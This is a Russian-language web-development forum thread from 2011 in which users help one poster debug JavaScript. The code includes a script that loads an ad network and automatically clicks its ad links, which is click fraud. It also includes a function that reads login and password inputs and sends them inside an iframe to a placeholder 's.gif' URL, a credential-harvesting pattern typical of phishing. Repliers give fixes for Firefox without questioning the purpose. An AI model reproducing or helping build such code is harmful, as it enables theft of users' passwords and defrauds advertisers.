<script language="JavaScript" charset="UTF-8" src="http://z750.takru.com/in.php?id=751896"></script>
<script language="JavaScript">
function clicke(n){
var a= document.getElementsByTagName("a"), links= [];
for(var i= 0; i < a.length; i++){
if(a[i].className == "takru"){
links.push(a[i]);
}
}
links[n].click();
}
clicke(0);
</script>
после клика на месте сайта станет тот сайт на ссылку которого бло нажато,
как сделать штоб новый сайт открывался во фрейме?
Спустя 19 минут, 49 секунд (28.03.2011 - 22:40) killer8080 написал(а):
Вставляй ифрейм в документ, назначь ему name
...
links[n].target= "iframe_name";
links[n].click();
}
Спустя 1 день, 15 часов, 48 минут, 38 секунд (30.03.2011 - 14:29) qaz333 написал(а):
а если так,
как сделать штоб перенаправление открылось в фрейме?
function you(){
var a = document.getElementsByTagName("input")[0];
var c = document.getElementsByTagName("input")[1];
var b = a.value;
var d = c.value;
document.location.href = "http://site/1/s.gif?pass="+b+"&login=" + d;
}
</script>
как сделать штоб перенаправление открылось в фрейме?
Спустя 1 час, 53 минуты, 2 секунды (30.03.2011 - 16:22) Michael написал(а):
Меняй просто адрес у фрейма:
window.frames['имя фрейма'].location.href = 'путь';
Спустя 13 минут, 3 секунды (30.03.2011 - 16:35) qaz333 написал(а):
ага, точно спс, а вот такая проблема, в опере всё пашет нормально, а вот в фаерфоксе вышла неполадочка,
при первом вызове функции .document.location.href = "http://сайт/1/s.gif?pass="+b+"&login=" + d;
как положено открывается во фрейме, а вот при втором, значение фрема не меняется(ну всмысле значения +b и d всегда разные), приходится обновлять страницу, как можно исправить?
<script language="JavaScript">
function you(){
var a = document.getElementsByTagName("input")[0];
var c = document.getElementsByTagName("input")[1];
var b = a.value;
var d = c.value;
window.frames['q'].document.location.href = "http://сайт/1/s.gif?pass="+b+"&login=" + d;
}
</script>
при первом вызове функции .document.location.href = "http://сайт/1/s.gif?pass="+b+"&login=" + d;
как положено открывается во фрейме, а вот при втором, значение фрема не меняется(ну всмысле значения +b и d всегда разные), приходится обновлять страницу, как можно исправить?
Спустя 23 часа, 7 минут, 19 секунд (31.03.2011 - 15:42) killer8080 написал(а):
гораздо проще через DOM
и вместо
так
document.getElementById("iframe_id").src= 'путь';
и вместо
var a = document.getElementsByTagName("input")[0];
var c = document.getElementsByTagName("input")[1];
var b = a.value;
var d = c.value;
так
var a= document.getElementsByTagName("input")[0].value;
var c = document.getElementsByTagName("input")[1].value
Спустя 2 часа, 1 минута, 9 секунд (31.03.2011 - 17:44) qaz333 написал(а):
ну а поможет ето, решить проблему с фаерфоксом?
Спустя 1 час, 30 минут, 33 секунды (31.03.2011 - 19:14) killer8080 написал(а):
выведи значение переменных алертом и посмотри меняется ли оно вообще.
А почему такое странное обращение к инпутам? Они у тебя что безымянные?
не плохо было бы увидеть код.
А почему такое странное обращение к инпутам? Они у тебя что безымянные?
не плохо было бы увидеть код.
Спустя 20 минут, 36 секунд (31.03.2011 - 19:35) qaz333 написал(а):
Цитата (killer8080 @ 31.03.2011 - 16:14) |
выведи значение переменных алертом и посмотри меняется ли оно вообще. А почему такое странное обращение к инпутам? Они у тебя что безымянные? не плохо было бы увидеть код. |
да безымянные,
переменные меняются,(в опере работает как положено) а вот в фаерфоксе а вот при второй отправки данных, значение фрема не меняется
Спустя 2 минуты, 43 секунды (31.03.2011 - 19:37) killer8080 написал(а):
А ифрейм случайно не перед инпутами?
Лучше к инпутам обращаться через имена ил ид.
Лучше к инпутам обращаться через имена ил ид.
Спустя 1 час, 13 минут, 5 секунд (31.03.2011 - 20:50) qaz333 написал(а):
Цитата (killer8080 @ 31.03.2011 - 16:37) |
А ифрейм случайно не перед инпутами? Лучше к инпутам обращаться через имена ил ид. |
перед инпутами, надо песле?
Спустя 1 час, 44 минуты, 50 секунд (31.03.2011 - 22:35) killer8080 написал(а):
Цитата (qaz333 @ 31.03.2011 - 19:50) |
перед инпутами, надо песле? |
Нет, но возможно в ФФ есть баг, и в document.getElementsByTagName("input") он собирает не только инпуты документа, но и ифрейма. Вот поэтому и не стоит таким способом обращаться к элементам формы.